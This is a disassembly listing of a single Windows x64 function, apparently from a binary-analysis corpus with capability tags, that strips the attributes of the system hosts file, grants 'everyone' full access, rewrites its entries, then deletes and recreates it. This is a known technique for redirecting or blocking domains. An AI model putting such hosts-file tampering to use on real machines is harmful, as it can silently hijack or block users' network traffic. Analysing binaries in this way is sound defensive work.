Function at 0x140005820
Capabilities:
Delete file
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2018]
mov eax, 0x20f0
call fcn.140038380
sub rsp, rax
mov esi, 1
lea rdx, [0x14009d600]
xor r8d, r8d
mov r14d, esi
mov r12, rcx
call fcn.140004d8c
lea rbx, str.C:WindowsSystem32driversetchosts
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov r8d, 0xe0000000
lea rdx, str.everyone
mov rcx, rbx
call fcn.1400061e8
xor r13d, r13d
test eax, eax
jne 0x1400058cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.ChangeHostsFile:_SetFileAccountPrivilege_failed_everyone_error_d__r_n
mov ecx, esi
mov r8d, eax
call fcn.1400191e0
lea rcx, str.___ChangeHostsFile:_SetFileAccountPrivilege_failed_everyone
call fcn.140045e50
mov r8, rax
lea rdx, str.___ChangeHostsFile:_SetFileAccountPrivilege_failed_everyone
mov rcx, r12
call fcn.140004b2c
mov r14d, r13d
xor edx, edx
lea rcx, [rbp - 0x10]
mov r8d, 0x2000
call fcn.14003a5c0
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.140019348
mov r8d, eax
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea rdx, [rbp - 0x10]
mov rcx, rbx
call fcn.140021484
test eax, eax
jne 0x140005940
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9, rbx
lea rdx, str.ChangeHostsFile:_fReadFile_Buf_failed___error_d__s__r_n
mov r8d, eax
mov ecx, esi
call fcn.1400191e0
lea rcx, str.___ChangeHostsFile:_fReadFile_Buf_failed
call fcn.140045e50
mov r8, rax
lea rdx, str.___ChangeHostsFile:_fReadFile_Buf_failed
mov rcx, r12
call fcn.140004b2c
mov r14d, r13d
mov ebx, reloc.WSOCK32.dll_ntohs
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], rbx
mov byte [rsp + 0x50], r13b
cmp byte [rbp - 0x10], r13b
jne 0x14000595f
mov rax, r13
jmp 0x140005968
lea rcx, [rbp - 0x10]
call fcn.140045e50
mov r8, rax
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x50]
call fcn.140004d8c
xorps xmm0, xmm0
mov qword [rbp - 0x40], rbx
lea rcx, [0x14009d3b4]
mov qword [rbp - 0x48], r13
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rbp - 0x58], r13b
mov qword [rbp - 0x80], r13
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], r13
mov byte [rsp + 0x30], r13b
call fcn.140045e50
mov r8, rax
lea rdx, [0x14009d3b4]
lea rcx, [rsp + 0x30]
call fcn.140004d8c
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.14001d854
xor r8d, r8d
lea rdx, [0x14009d600]
lea rcx, [rsp + 0x50]
call fcn.140004d8c
mov rax, qword [rsp + 0x78]
mov r15d, r13d
mov rcx, qword [rsp + 0x70]
sub rax, rcx
sar rax, 5
test rax, rax
je 0x140005b21
mov rbx, r13
shl rbx, 5
add rbx, rcx
lea rcx, [0x14009d7ac]
call fcn.140045e50
mov r9, rax
lea rdx, [0x14009d7ac]
xor r8d, r8d
mov rcx, rbx
call fcn.14000501c
cmp rax, 0xffffffffffffffff
jne 0x140005ab5
mov rdx, qword [0x1400c50d8]
mov edi, r13d
mov r8, qword [rdx]
mov rax, qword [rdx + 8]
sub rax, r8
sar rax, 6
test rax, rax
je 0x140005aa2
mov rsi, r13
lea rdx, [r8 + rsi]
cmp qword [rdx + 0x18], 0x10
mov r9, qword [rdx + 0x10]
jb 0x140005a69
mov rdx, qword [rdx]
xor r8d, r8d
mov rcx, rbx
call fcn.14000501c
mov rdx, qword [0x1400c50d8]
cmp rax, 0xffffffffffffffff
jne 0x140005a9d
mov r8, qword [rdx]
inc edi
mov rcx, qword [rdx + 8]
add rsi, 0x40
sub rcx, r8
movsxd rax, edi
sar rcx, 6
cmp rax, rcx
jb 0x140005a57
mov esi, 1
mov rcx, qword [rdx + 8]
sub rcx, qword [rdx]
sar rcx, 6
movsxd rax, edi
cmp rax, rcx
jb 0x140005aff
lea r8, [0x14009d3b4]
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.14000145c
or r9, 0xffffffffffffffff
lea rcx, [rsp + 0x50]
xor r8d, r8d
mov rdx, rax
call fcn.140004a10
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140005af8
mov rcx, qword [rsp + 0x30]
inc rdx
mov r8, rsi
call fcn.140004554
mov rdx, qword [0x1400c50d8]
mov rax, qword [rsp + 0x78]
add r15d, esi
mov rcx, qword [rsp + 0x70]
sub rax, rcx
movsxd rbx, r15d
sar rax, 5
cmp rbx, rax
jb 0x140005a09
jmp 0x140005b28
mov rdx, qword [0x1400c50d8]
mov rax, qword [rdx + 8]
or r15, 0xffffffffffffffff
sub rax, qword [rdx]
mov edi, r13d
sar rax, 6
test rax, rax
je 0x140005c69
mov rcx, r13
mov rbx, qword [rdx]
lea r8, [0x14009d7b0]
shl rcx, 6
add rbx, rcx
lea rcx, [rbp - 0x38]
lea rdx, [rbx + 0x20]
call fcn.14000145c
mov r9, r15
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140004a10
mov ebx, reloc.WSOCK32.dll_ntohs
mov qword [rsp + 0x40], r13
mov rdx, rax
mov qword [rsp + 0x48], rbx
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x30], r13b
call fcn.140004354
lea rcx, [0x14009d3b4]
call fcn.140045e50
mov r8, rax
lea rdx, [0x14009d3b4]
lea rcx, [rsp + 0x30]
call fcn.140004b2c
mov rdx, rax
mov qword [rbp - 0x60], rbx
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x68], r13
mov byte [rbp - 0x78], r13b
call fcn.140004354
mov r9, r15
lea rdx, [rbp - 0x78]
xor r8d, r8d
lea rcx, [rbp - 0x58]
call fcn.140004a10
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140005bfa
mov rcx, qword [rbp - 0x78]
inc rdx
mov r8, rsi
call fcn.140004554
mov rdx, qword [rsp + 0x48]
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x68], r13
mov byte [rbp - 0x78], r13b
cmp rdx, 0x10
jb 0x140005c21
mov rcx, qword [rsp + 0x30]
inc rdx
mov r8, rsi
call fcn.140004554
mov rdx, qword [rbp - 0x20]
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], r13
mov byte [rsp + 0x30], r13b
cmp rdx, 0x10
jb 0x140005c49
mov rcx, qword [rbp - 0x38]
inc rdx
mov r8, rsi
call fcn.140004554
mov rdx, qword [0x1400c50d8]
add edi, esi
movsxd rcx, edi
mov rax, qword [rdx + 8]
sub rax, qword [rdx]
sar rax, 6
cmp rcx, rax
jb 0x140005b46
lea r8, [rbp - 0x58]
lea rdx, [0x14009d7b4]
lea rcx, [rbp - 0x38]
call fcn.1400055fc
mov r9, r15
lea rcx, [rsp + 0x50]
xor r8d, r8d
mov rdx, rax
call fcn.140004a10
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140005ca9
mov rcx, qword [rbp - 0x38]
inc rdx
mov r8, rsi
call fcn.140004554
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
sub ecx, dword [0x1400c50d0]
mul ecx
lea rcx, [rbp - 0x38]
shr edx, 6
call fcn.14001bc88
lea rcx, [0x14009d7c0]
mov rbx, rax
call fcn.140045e50
mov r9, rax
lea r8, [0x14009d7c0]
xor edx, edx
mov rcx, rbx
call fcn.1400052f0
mov ebx, reloc.WSOCK32.dll_ntohs
mov qword [rsp + 0x40], r13
mov rdx, rax
mov qword [rsp + 0x48], rbx
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x30], r13b
call fcn.140004354
mov r9, r15
lea rdx, [rsp + 0x30]
xor r8d, r8d
lea rcx, [rsp + 0x50]
call fcn.140004a10
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140005d3e
mov rcx, qword [rsp + 0x30]
inc rdx
mov r8, rsi
call fcn.140004554
mov rdx, qword [rbp - 0x20]
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], r13
mov byte [rsp + 0x30], r13b
cmp rdx, 0x10
jb 0x140005d66
mov rcx, qword [rbp - 0x38]
inc rdx
mov r8, rsi
call fcn.140004554
lea rdi, str.C:WindowsSystem32driversetchosts
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8d, dword [rsp + 0x60]
mov rcx, rdi
cmovae rdx, qword [rsp + 0x50]
call fcn.140021154
test eax, eax
jne 0x140005dd3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9, rdi
lea rdx, str.ChangeHostsFile:_fCreateFile_failed___error_d__s__r_n
mov r8d, eax
mov ecx, esi
call fcn.1400191e0
lea rcx, str.___ChangeHostsFile:_fCreateFile_failed
call fcn.140045e50
mov r8, rax
lea rdx, str.___ChangeHostsFile:_fCreateFile_failed
mov rcx, r12
call fcn.140004b2c
mov r14d, r13d
lea rcx, [rsp + 0x70]
call fcn.140004974
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140005df6
mov rcx, qword [rbp - 0x58]
inc rdx
mov r8, rsi
call fcn.140004554
mov rdx, qword [rsp + 0x68]
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x48], r13
mov byte [rbp - 0x58], r13b
cmp rdx, 0x10
jb 0x140005e1d
mov rcx, qword [rsp + 0x50]
inc rdx
mov r8, rsi
call fcn.140004554
lea r11, [rsp + 0x20f0]
mov eax, r14d
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret